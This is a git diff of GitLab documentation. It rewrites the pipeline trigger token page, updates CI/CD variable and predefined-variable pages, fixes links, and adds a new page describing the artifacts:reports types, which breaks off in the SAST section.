+- Use a multiline cURL command:
-The required parameters are the [trigger's `token`](#authentication-tokens)
-and the Git `ref` on which the trigger is performed. Valid refs are
-branches or tags. The `:id` of a project can be found by
-[querying the API](../../api/projects.md) or by visiting the **CI/CD**
-settings page which provides self-explanatory examples.
+ ```shell
+ curl --request POST \
+ --form token=<token> \
+ --formref=<ref_name> \
+ "https://gitlab.example.com/api/v4/projects/<project_id>/trigger/pipeline"
+ ```
-When a rerun of a pipeline is triggered, jobs are labeled as `triggered` in
-**CI/CD > Jobs**.
+- Use cURL and pass the `<token>` and `<ref_name>` in the query string:
-You can see which trigger caused a job to run by visiting the single job page.
-A part of the trigger's token is exposed in the UI as you can see from the image
-below.
+ ```shell
+ curl --request POST \
+ "https://gitlab.example.com/api/v4/projects/<project_id>/trigger/pipeline?token=<token>&ref=<ref_name>"
+ ```
-![Marked as triggered on a single job page](img/trigger_single_job.png)
-
-By using cURL you can trigger a pipeline rerun with minimal effort, for example:
-
-```shell
-curl --request POST \
- --form token=TOKEN \
- --form ref=main \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
+In each example, replace:
-In this case, the pipeline for the project with ID `9` runs on the `main` branch.
+- The URL with `https://gitlab.com` or the URL of your instance.
+- `<token>` with your trigger token.
+- `<ref_name>` with a branch or tag name, like `main`.
+- `<project_id>` with your project ID, like `123456`. The project ID is displayed
+ at the top of every project's landing page.
-Alternatively, you can pass the `token` and `ref` arguments in the query string:
+### Use a CI/CD job
-```shell
-curl --request POST \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline?token=TOKEN&ref=main"
-```
+You can use a CI/CD job with a triggers token to trigger pipelines when another pipeline
+runs.
-You can also benefit by using triggers in your `.gitlab-ci.yml`. Let's say that
-you have two projects, A and B, and you want to trigger a pipeline on the `main`
-branch of project B whenever a tag on project A is created. This is the job you
-need to add in project A's `.gitlab-ci.yml`:
+For example, to trigger a pipeline on the `main` branch of `project-B` when a tag
+is created in `project-A`, add the following job to project A's `.gitlab-ci.yml` file:
```yaml
trigger_pipeline:
stage: deploy
script:
- - 'curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"'
+ - 'curl --fail --request POST --form token=$MY_TRIGGER_TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/123456/trigger/pipeline"'
rules:
- if: $CI_COMMIT_TAG
```
-This means that whenever a new tag is pushed on project A, the job runs and the
-`trigger_pipeline` job is executed, triggering the pipeline for project B. The
-`stage: deploy` ensures that this job runs only after all jobs with
-`stage: test` complete successfully.
+In this example:
-NOTE:
-You [cannot use the API to start `when:manual` trigger jobs](https://gitlab.com/gitlab-org/gitlab/-/issues/284086).
+- `1234` is the project ID for `project-B`. The project ID is displayed at the top
+ of every project's landing page.
+- The [`rules`](../yaml/index.md#rules) cause the job to run every time a tag is added to `project-A`.
+- `MY_TRIGGER_TOKEN` is a [masked CI/CD variables](../variables/index.md#mask-a-cicd-variable)
+ that contains the trigger token.
-## Triggering a pipeline from a webhook
+### Use a webhook
-To trigger a job from a webhook of another project you need to add the following
-webhook URL for Push and Tag events (change the project ID, ref and token):
+To trigger a pipeline from another project's webhook, use a webhook URL like the following
+for push and tag events:
```plaintext
https://gitlab.example.com/api/v4/projects/9/ref/main/trigger/pipeline?token=TOKEN
```
-You should pass `ref` as part of the URL, to take precedence over `ref` from
-the webhook body that designates the branch ref that fired the trigger in the
-source repository. Be sure to URL-encode `ref` if it contains slashes.
+Replace:
+
+- The URL with `https://gitlab.com` or the URL of your instance.
+- `<token>` with your trigger token.
+- `<ref_name>` with a branch or tag name, like `main`.
+- `<project_id>` with your project ID, like `123456`. The project ID is displayed
+ at the top of the project's landing page.
+
+The `ref` in the URL takes precedence over the `ref` in the webhook payload. The
+payload `ref` is the branch that fired the trigger in the source repository.
+You must URL-encode `ref` if it contains slashes.
-### Using webhook payload in the triggered pipeline
+#### Use a webhook payload
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/31197) in GitLab 13.9.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/321027) in GitLab 13.11.
@@ -139,94 +129,68 @@ the `TRIGGER_PAYLOAD` [predefined CI/CD variable](../variables/predefined_variab
The payload is exposed as a [file-type variable](../variables/index.md#cicd-variable-types),
so you can access the data with `cat $TRIGGER_PAYLOAD` or a similar command.
-## Making use of trigger variables
+### Pass CI/CD variables in the API call
-You can pass any number of arbitrary variables in the trigger API call and they
-are available in GitLab CI/CD so that they can be used in your `.gitlab-ci.yml`
-file. The parameter is of the form:
+You can pass any number of [CI/CD variables](../variables/index.md) in the trigger API call.
+These variables have the [highest precedence](../variables/index.md#cicd-variable-precedence),
+and override all variables with the same name.
-```plaintext
-variables[key]=value
+The parameter is of the form `variables[key]=value`, for example:
+
+```shell
+curl --request POST \
+ --form token=TOKEN \
+ --form ref=main \
+ --form "variables[UPLOAD_TO_S3]=true" \
+ "https://gitlab.example.com/api/v4/projects/123456/trigger/pipeline"
```
-This information is also exposed in the UI. _Values_ are only viewable by users with the Owner and Maintainer role.
+CI/CD variables in triggered pipelines display on each job's page, but only
+users with the Owner and Maintainer role can view the values.
![Job variables in UI](img/trigger_variables.png)
-Using trigger variables can be proven useful for a variety of reasons:
-
-- Identifiable jobs. Since the variable is exposed in the UI you can know
- why the pipeline was triggered if you pass a variable that explains the
- purpose.
-- Conditional job processing. You can have conditional jobs that run whenever
- a certain variable is present.
+## Revoke a trigger token
-Consider the following `.gitlab-ci.yml` where we set three
-[stages](../yaml/index.md#stages) and the `upload_package` job is run only
-when all jobs from the test and build stages pass. When the `UPLOAD_TO_S3`
-variable is non-zero, `make upload` is run.
+To revoke a trigger token:
-```yaml
-stages:
- - test
- - build
- - package
-
-run_tests:
- stage: test
- script:
- - make test
-
-build_package:
- stage: build
- script:
- - make build
-
-upload_package:
- stage: package
- script:
- - if [ -n "${UPLOAD_TO_S3}" ]; then make upload; fi
-```
+1. On the top bar, select **Menu > Projects** and find your project.
+1. On the left sidebar, select **Settings > CI/CD**.
+1. Expand **Pipeline triggers**.
+1. To the left of the trigger token you want to revoke, select **Revoke** (**{remove}**).
-You can then trigger a pipeline while you pass the `UPLOAD_TO_S3` variable
-and the script of the `upload_package` job is run:
+A revoked trigger token cannot be added back.
-```shell
-curl --request POST \
- --form token=TOKEN \
- --form ref=main \
- --form "variables[UPLOAD_TO_S3]=true" \
- "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
+## Configure CI/CD jobs to run in triggered pipelines
-Trigger variables have the [highest priority](../variables/index.md#cicd-variable-precedence)
-of all types of variables.
+To [configure when to run jobs](../jobs/job_control.md) in triggered pipelines:
-## Using cron to trigger nightly pipelines
+- Use [`rules`](../yaml/index.md#rules) with the `$CI_PIPELINE_SOURCE` [predefined CI/CD variable](../variables/predefined_variables.md).
+- Use [`only`/`except`](../yaml/index.md#onlyrefs--exceptrefs) keywords.
-Whether you craft a script or just run cURL directly, you can trigger jobs
-in conjunction with cron. The example below triggers a job on the `main` branch
-of project with ID `9` every night at `00:30`:
+| `$CI_PIPELINE_SOURCE` value | `only`/`except` keywords | Trigger method |
+|-----------------------------|--------------------------|---------------------|
+| `trigger` | `triggers` | In pipelines triggered with the [pipeline triggers API](../../api/pipeline_triggers.md) by using a [trigger token](#create-a-trigger-token). |
+| `pipeline` | `pipelines` | In [multi-project pipelines](../pipelines/multi_project_pipelines.md#create-multi-project-pipelines-by-using-the-api) triggered with the [pipeline triggers API](../../api/pipeline_triggers.md) by using the [`$CI_JOB_TOKEN`](../jobs/ci_job_token.md), or by using the [`trigger`](../yaml/index.md#trigger) keyword in the CI/CD configuration file. |
-```shell
-30 0 * * * curl --request POST --form token=TOKEN --form ref=main "https://gitlab.example.com/api/v4/projects/9/trigger/pipeline"
-```
+Additionally, the `$CI_PIPELINE_TRIGGERED` predefined CI/CD variable is set to `true`
+in pipelines triggered with a trigger token.
-This behavior can also be achieved through the GitLab UI with
-[pipeline schedules](../pipelines/schedules.md).
+## See which trigger token was used
-## Legacy triggers
+You can see which trigger caused a job to run by visiting the single job page.
+A part of the trigger's token displays on the right of the page, under the job details:
-Old triggers, created before GitLab 9.0 are marked as legacy.
+![Marked as triggered on a single job page](img/trigger_single_job.png)
-Triggers with the legacy label do not have an associated user and only have
-access to the current project. They are considered deprecated and might be
-removed with one of the future versions of GitLab.
+In pipelines triggered with a trigger token, jobs are labeled as `triggered` in
+**CI/CD > Jobs**.
## Troubleshooting
-### '404 not found' when triggering a pipeline
+### `404 not found` when triggering a pipeline
A response of `{"message":"404 Not Found"}` when triggering a pipeline might be caused
-by using a Personal Access Token instead of a trigger token. [Add a new trigger](#adding-a-new-trigger)
-and use that token to authenticate when triggering a pipeline.
+by using a [personal access token](../../user/profile/personal_access_tokens.md)
+instead of a trigger token. [Create a new trigger token](#create-a-trigger-token)
+and use it instead of the personal access token.
diff --git a/doc/ci/troubleshooting.md b/doc/ci/troubleshooting.md
index 037e8d3497d..4d550f6da13 100644
--- a/doc/ci/troubleshooting.md
+++ b/doc/ci/troubleshooting.md
@@ -291,7 +291,7 @@ Pipeline configuration warnings are shown when you:
### "Job may allow multiple pipelines to run for a single action" warning
-When you use [`rules`](yaml/index.md#rules) with a `when:` clause without an `if:`
+When you use [`rules`](yaml/index.md#rules) with a `when` clause without an `if`
clause, multiple pipelines may run. Usually this occurs when you push a commit to
a branch that has an open merge request associated with it.
diff --git a/doc/ci/unit_test_reports.md b/doc/ci/unit_test_reports.md
index e758fbc91dd..55fd8c1eb49 100644
--- a/doc/ci/unit_test_reports.md
+++ b/doc/ci/unit_test_reports.md
@@ -41,7 +41,7 @@ Consider the following workflow:
## How it works
First, GitLab Runner uploads all [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format)
-as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
+as [artifacts](yaml/artifacts_reports.md#artifactsreportsjunit) to GitLab. Then, when you visit a merge request, GitLab starts
comparing the head and base branch's JUnit report format XML files, where:
- The base branch is the target branch (usually the default branch).
@@ -77,7 +77,7 @@ If a test failed in the project's default branch in the last 14 days, a message
## How to set it up
To enable the Unit test reports in merge requests, you need to add
-[`artifacts:reports:junit`](yaml/index.md#artifactsreportsjunit)
+[`artifacts:reports:junit`](yaml/artifacts_reports.md#artifactsreportsjunit)
in `.gitlab-ci.yml`, and specify the path(s) of the generated test reports.
The reports must be `.xml` files, otherwise [GitLab returns an Error 500](https://gitlab.com/gitlab-org/gitlab/-/issues/216575).
@@ -377,7 +377,7 @@ GitLab does not parse very [large nodes](https://nokogiri.org/tutorials/parsing_
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/202114) in GitLab 13.0 behind the `:junit_pipeline_screenshots_view` feature flag, disabled by default.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/216979) in GitLab 13.12.
-Upload your screenshots as [artifacts](yaml/index.md#artifactsreportsjunit) to GitLab. If JUnit
+Upload your screenshots as [artifacts](yaml/artifacts_reports.md#artifactsreportsjunit) to GitLab. If JUnit
report format XML files contain an `attachment` tag, GitLab parses the attachment. Note that:
- The `attachment` tag **must** contain the relative path to `$CI_PROJECT_DIR` of the screenshots you uploaded. For
diff --git a/doc/ci/variables/index.md b/doc/ci/variables/index.md
index a0c8dbd4e4a..acc3489143a 100644
--- a/doc/ci/variables/index.md
+++ b/doc/ci/variables/index.md
@@ -166,10 +166,10 @@ To add or update variables in the project settings:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope**: (Optional) `All`, or specific [environments](../environments/index.md).
- - **Protect variable** (Optional): If selected, the variable is only available
+ - **Environment scope**: Optional. `All`, or specific [environments](../environments/index.md).
+ - **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ - **Mask variable** Optional. If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
@@ -208,10 +208,10 @@ To add a group variable:
- **Key**: Must be one line, with no spaces, using only letters, numbers, or `_`.
- **Value**: No limitations.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Environment scope** (Optional): `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
- - **Protect variable** (Optional): If selected, the variable is only available
+ - **Environment scope** Optional. `All`, or specific [environments](#limit-the-environment-scope-of-a-cicd-variable). **(PREMIUM)**
+ - **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is masked
+ - **Mask variable** Optional. If selected, the variable's **Value** is masked
in job logs. The variable fails to save if the value does not meet the
[masking requirements](#mask-a-cicd-variable).
@@ -248,9 +248,9 @@ To add an instance variable:
10,000 characters is allowed. This is also bounded by the limits of the selected
runner operating system. In GitLab 13.0 to 13.2, 700 characters is allowed.
- **Type**: [`File` or `Variable`](#cicd-variable-types).
- - **Protect variable** (Optional): If selected, the variable is only available
+ - **Protect variable** Optional. If selected, the variable is only available
in pipelines that run on protected branches or tags.
- - **Mask variable** (Optional): If selected, the variable's **Value** is not shown
+ - **Mask variable** Optional. If selected, the variable's **Value** is not shown
in job logs. The variable is not saved if the value does not meet the [masking requirements](#mask-a-cicd-variable).
### CI/CD variable types
@@ -293,6 +293,11 @@ Use the variables in a job script like this:
kubectl config set-cluster e2e --server="$KUBE_URL" --certificate-authority="$KUBE_CA_PEM"
```
+WARNING:
+Be careful when assigning the value of a file variable to another variable. The other
+variable takes the content of the file as its value, **not** the path to the file.
+See [issue 29407](https://gitlab.com/gitlab-org/gitlab/-/issues/29407) for more details.
+
An alternative to `File` type variables is to:
- Read the value of a CI/CD variable (`variable` type).
@@ -554,7 +559,7 @@ These variables cannot be used as CI/CD variables to configure a pipeline, but
they can be used in job scripts.
1. In the job script, save the variable as a `.env` file.
-1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/index.md#artifactsreportsdotenv)
+1. Save the `.env` file as an [`artifacts:reports:dotenv`](../yaml/artifacts_reports.md#artifactsreportsdotenv)
artifact.
1. Set a job in a later stage to receive the artifact by using the [`dependencies`](../yaml/index.md#dependencies)
or the [`needs`](../yaml/index.md#needs) keywords.
@@ -607,7 +612,7 @@ which variables take precedence.
The order of precedence for variables is (from highest to lowest):
-1. [Trigger variables](../triggers/index.md#making-use-of-trigger-variables),
+1. [Trigger variables](../triggers/index.md#pass-cicd-variables-in-the-api-call),
[scheduled pipeline variables](../pipelines/schedules.md#using-variables),
and [manual pipeline run variables](#override-a-variable-when-running-a-pipeline-manually).
1. Project [variables](#custom-cicd-variables).
@@ -641,7 +646,7 @@ You can override the value of a variable when you:
1. Create a pipeline by using [the API](../../api/pipelines.md#create-a-new-pipeline).
1. Run a job manually in the UI.
1. Use [push options](../../user/project/push_options.md#push-options-for-gitlab-cicd).
-1. Trigger a pipeline by using [the API](../triggers/index.md#making-use-of-trigger-variables).
+1. Trigger a pipeline by using [the API](../triggers/index.md#pass-cicd-variables-in-the-api-call).
1. Pass variables to a downstream pipeline [by using the `variable` keyword](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-the-variables-keyword)
or [by using variable inheritance](../pipelines/multi_project_pipelines.md#pass-cicd-variables-to-a-downstream-pipeline-by-using-variable-inheritance).
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index 45fa1994342..c06ca6878c4 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -14,7 +14,9 @@ Some variables are only available with more recent versions of [GitLab Runner](h
You can [output the values of all variables available for a job](index.md#list-all-environment-variables)
with a `script` command.
-There are also [Kubernetes-specific deployment variables](../../user/project/clusters/deploy_to_cluster.md#deployment-variables).
+There are also [Kubernetes-specific deployment variables (deprecated)](../../user/project/clusters/deploy_to_cluster.md#deployment-variables).
+
+There are also a number of [variables you can use to configure runner behavior](../runners/configure_runners.md#configure-runner-behavior-with-variables) globally or for individual jobs.
| Variable | GitLab | Runner | Description |
|------------------------------------------|--------|--------|-------------|
@@ -75,7 +77,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `CI_PAGES_URL` | 11.8 | all | The URL for a GitLab Pages site. Always a subdomain of `CI_PAGES_DOMAIN`. |
| `CI_PIPELINE_ID` | 8.10 | all | The instance-level ID of the current pipeline. This ID is unique across all projects on the GitLab instance. |
| `CI_PIPELINE_IID` | 11.0 | all | The project-level IID (internal ID) of the current pipeline. This ID is unique only within the current project. |
-| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/index.md#authentication-tokens). |
+| `CI_PIPELINE_SOURCE` | 10.0 | all | How the pipeline was triggered. Can be `push`, `web`, `schedule`, `api`, `external`, `chat`, `webide`, `merge_request_event`, `external_pull_request_event`, `parent_pipeline`, [`trigger`, or `pipeline`](../triggers/index.md#configure-cicd-jobs-to-run-in-triggered-pipelines). |
| `CI_PIPELINE_TRIGGERED` | all | all | `true` if the job was [triggered](../triggers/index.md). |
| `CI_PIPELINE_URL` | 11.1 | 0.5 | The URL for the pipeline details. |
| `CI_PIPELINE_CREATED_AT` | 13.10 | all | The UTC datetime when the pipeline was created, in [ISO 8601](https://tools.ietf.org/html/rfc3339#appendix-A) format. |
@@ -122,7 +124,7 @@ There are also [Kubernetes-specific deployment variables](../../user/project/clu
| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. |
| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. |
| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. |
-| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#using-webhook-payload-in-the-triggered-pipeline). |
+| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#use-a-webhook-payload). |
## Predefined variables for merge request pipelines
diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md
new file mode 100644
index 00000000000..cd38cf58c71
--- /dev/null
+++ b/doc/ci/yaml/artifacts_reports.md
@@ -0,0 +1,304 @@
+---
+stage: Verify
+group: Testing
+info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
+---
+
+# GitLab CI/CD artifacts reports types **(FREE)**
+
+Use [`artifacts:reports`](index.md#artifactsreports) to:
+
+- Collect test reports, code quality reports, security reports, and other artifacts generated by included templates in
+ jobs.
+- Some of these reports are used to display information in:
+ - Merge requests.
+ - Pipeline views.
+ - [Security dashboards](../../user/application_security/security_dashboard/index.md).
+
+The test reports are collected regardless of the job results (success or failure).
+You can use [`artifacts:expire_in`](index.md#artifactsexpire_in) to set up an expiration
+date for their artifacts.
+
+Some `artifacts:reports` types can be generated by multiple jobs in the same pipeline, and used by merge request or
+pipeline features from each job.
+
+To be able to browse the report output files, include the [`artifacts:paths`](index.md#artifactspaths) keyword.
+
+NOTE:
+Combined reports in parent pipelines using [artifacts from child pipelines](index.md#needspipelinejob) is
+not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725).
+
+## `artifacts:reports:accessibility`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/39425) in GitLab 12.8.
+
+The `accessibility` report uses [pa11y](https://pa11y.org/) to report on the accessibility impact
+of changes introduced in merge requests.
+
+GitLab can display the results of one or more reports in the merge request
+[accessibility widget](../../user/project/merge_requests/accessibility_testing.md#accessibility-merge-request-widget).
+
+For more information, see [Accessibility testing](../../user/project/merge_requests/accessibility_testing.md).
+
+## `artifacts:reports:api_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `api_fuzzing` report collects [API Fuzzing bugs](../../user/application_security/api_fuzzing/index.md)
+as artifacts.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [security widget](../../user/application_security/api_fuzzing/index.md#view-details-of-an-api-fuzzing-vulnerability).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
+- The [security dashboard](../../user/application_security/api_fuzzing/index.md#security-dashboard).
+
+## `artifacts:reports:browser_performance` **(PREMIUM)**
+
+> [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0.
+
+The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md)
+as artifacts.
+
+GitLab can display the results of one report in the merge request
+[browser performance testing widget](../../user/project/merge_requests/browser_performance_testing.md#how-browser-performance-testing-works).
+
+GitLab cannot display the combined results of multiple `browser_performance` reports.
+
+## `artifacts:reports:cluster_image_scanning` **(ULTIMATE)**
+
+> - Introduced in GitLab 14.1.
+> - Requires GitLab Runner 14.1 and above.
+
+The `cluster_image_scanning` report collects `CLUSTER_IMAGE_SCANNING` vulnerabilities. The collected
+`CLUSTER_IMAGE_SCANNING` report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+
+## `artifacts:reports:cobertura`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) in GitLab 12.9.
+
+The `cobertura` report collects [Cobertura coverage XML files](../../user/project/merge_requests/test_coverage_visualization.md).
+The collected Cobertura coverage reports upload to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in the merge request
+[diff annotations](../../user/project/merge_requests/test_coverage_visualization.md).
+
+Cobertura was originally developed for Java, but there are many third-party ports for other languages such as
+JavaScript, Python, and Ruby.
+
+## `artifacts:reports:codequality`
+
+> [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/212499) to GitLab Free in 13.2.
+
+The `codequality` report collects [code quality issues](../../user/project/merge_requests/code_quality.md). The
+collected code quality report uploads to GitLab as an artifact.
+
+GitLab can display the results of:
+
+- One or more reports in the merge request [code quality widget](../../user/project/merge_requests/code_quality.md#code-quality-widget).
+- Only one report in:
+ - The merge request [diff annotations](../../user/project/merge_requests/code_quality.md#code-quality-in-diff-view).
+ Track progress on adding support for multiple reports in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/328257).
+ - The [full report](../metrics_reports.md). Track progress on adding support for multiple reports in
+ [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/9014).
+
+## `artifacts:reports:container_scanning` **(ULTIMATE)**
+
+The `container_scanning` report collects [Container Scanning vulnerabilities](../../user/application_security/container_scanning/index.md).
+The collected Container Scanning report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [container scanning widget](../../user/application_security/container_scanning/index.md).
+- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+
+## `artifacts:reports:coverage_fuzzing` **(ULTIMATE)**
+
+> - Introduced in GitLab 13.4.
+> - Requires GitLab Runner 13.4 or later.
+
+The `coverage_fuzzing` report collects [coverage fuzzing bugs](../../user/application_security/coverage_fuzzing/index.md).
+The collected coverage fuzzing report uploads to GitLab as an artifact.
+GitLab can display the results of one or more reports in:
+
+- The merge request [coverage fuzzing widget](../../user/application_security/coverage_fuzzing/index.md#interacting-with-the-vulnerabilities).
+- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+
+## `artifacts:reports:dast` **(ULTIMATE)**
+
+The `dast` report collects [DAST vulnerabilities](../../user/application_security/dast/index.md). The collected DAST
+report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [security widget](../../user/application_security/dast/index.md#view-details-of-a-vulnerability-detected-by-dast).
+- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+
+## `artifacts:reports:dependency_scanning` **(ULTIMATE)**
+
+The `dependency_scanning` report collects [Dependency Scanning vulnerabilities](../../user/application_security/dependency_scanning/index.md).
+The collected Dependency Scanning report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [dependency scanning widget](../../user/application_security/dependency_scanning/index.md#overview).
+- The pipeline [**Security** tab](../../user/application_security/security_dashboard/index.md#pipeline-security).
+- The [security dashboard](../../user/application_security/security_dashboard/index.md).
+- The [Project Vulnerability report](../../user/application_security/vulnerability_report/index.md).
+- The [dependency list](../../user/application_security/dependency_list/).
+
+## `artifacts:reports:dotenv`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/17066) in GitLab 12.9.
+
+The `dotenv` report collects a set of environment variables as artifacts.
+
+The collected variables are registered as runtime-created variables of the job,
+which you can use to [set dynamic environment URLs after a job finishes](../environments/index.md#set-dynamic-environment-urls-after-a-job-finishes).
+
+If duplicate environment variables are present in a `dotenv` report:
+
+- In GitLab 14.6 and later, the last one specified is used.
+- In GitLab 14.5 and earlier, an error occurs.
+
+The exceptions to the [original dotenv rules](https://github.com/motdotla/dotenv#rules) are:
+
+- The variable key can contain only letters, digits, and underscores (`_`).
+- The maximum size of the `.env` file is 5 KB.
+ This limit [can be changed on self-managed instances](../../administration/instance_limits.md#limit-dotenv-file-size).
+- On GitLab.com, [the maximum number of inherited variables](../../user/gitlab_com/index.md#gitlab-cicd)
+ is 50 for Free, 100 for Premium and 150 for Ultimate. The default for
+ self-managed instances is 150, and can be changed by changing the
+ `dotenv_variables` [application limit](../../administration/instance_limits.md#limit-dotenv-variables).
+- Variable substitution in the `.env` file is not supported.
+- The `.env` file can't have empty lines or comments (starting with `#`).
+- Key values in the `env` file cannot have spaces or newline characters (`\n`), including when using single or double quotes.
+- Quote escaping during parsing (`key = 'value'` -> `{key: "value"}`) is not supported.
+
+## `artifacts:reports:junit`
+
+The `junit` report collects [JUnit report format XML files](https://www.ibm.com/docs/en/adfz/developer-for-zos/14.1.0?topic=formats-junit-xml-format).
+The collected Unit test reports upload to GitLab as an artifact. Although JUnit was originally developed in Java, there
+are many third-party ports for other languages such as JavaScript, Python, and Ruby.
+
+See [Unit test reports](../unit_test_reports.md) for more details and examples.
+Below is an example of collecting a JUnit report format XML file from Ruby's RSpec test tool:
+
+```yaml
+rspec:
+ stage: test
+ script:
+ - bundle install
+ - rspec --format RspecJunitFormatter --out rspec.xml
+ artifacts:
+ reports:
+ junit: rspec.xml
+```
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [code quality widget](../../ci/unit_test_reports.md#how-it-works).
+- The [full report](../../ci/unit_test_reports.md#viewing-unit-test-reports-on-gitlab).
+
+Some JUnit tools export to multiple XML files. You can specify multiple test report paths in a single job to
+concatenate them into a single file. Use either:
+
+- A filename pattern (`junit: rspec-*.xml`).
+- an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`).
+- A Combination of both (`junit: [rspec.xml, test-results/TEST-*.xml]`).
+
+## `artifacts:reports:license_scanning` **(ULTIMATE)**
+
+> Introduced in GitLab 12.8.
+
+The License Compliance report collects [Licenses](../../user/compliance/license_compliance/index.md). The License
+Compliance report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
+- The merge request [license compliance widget](../../user/compliance/license_compliance/index.md).
+- The [license list](../../user/compliance/license_compliance/index.md#license-list).
+
+## `artifacts:reports:load_performance` **(PREMIUM)**
+
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/35260) in GitLab 13.2.
+> - Requires GitLab Runner 11.5 and above.
+
+The `load_performance` report collects [Load Performance Testing metrics](../../user/project/merge_requests/load_performance_testing.md).
+The report is uploaded to GitLab as an artifact.
+
+GitLab can display the results of only one report in the merge request
+[load testing widget](../../user/project/merge_requests/load_performance_testing.md#how-load-performance-testing-works).
+
+GitLab cannot display the combined results of multiple `load_performance` reports.
+
+## `artifacts:reports:metrics` **(PREMIUM)**
+
+The `metrics` report collects [Metrics](../metrics_reports.md). The collected Metrics report uploads to GitLab as an
+artifact.
+
+GitLab can display the results of one or more reports in the merge request
+[metrics reports widget](../../ci/metrics_reports.md#metrics-reports).
+
+## `artifacts:reports:requirements` **(ULTIMATE)**
+
+> - [Introduced](https://gitlab.com/groups/gitlab-org/-/epics/2859) in GitLab 13.1.
+
+The `requirements` report collects `requirements.json` files. The collected Requirements report uploads to GitLab as an
+artifact and existing [requirements](../../user/project/requirements/index.md) are marked as Satisfied.
+
+GitLab can display the results of one or more reports in the
+[project requirements](../../user/project/requirements/index.md#view-a-requirement).
+
+## `artifacts:reports:sast`
+
+> - [Moved](https://gitlab.com/groups/gitlab-org/-/epics/2098) from GitLab Ultimate to GitLab Free in 13.3.
+
+The `sast` report collects [SAST vulnerabilities](../../user/application_security/sast/index.md). The collected SAST
+report uploads to GitLab as an artifact.
+
+GitLab can display the results of one or more reports in:
+
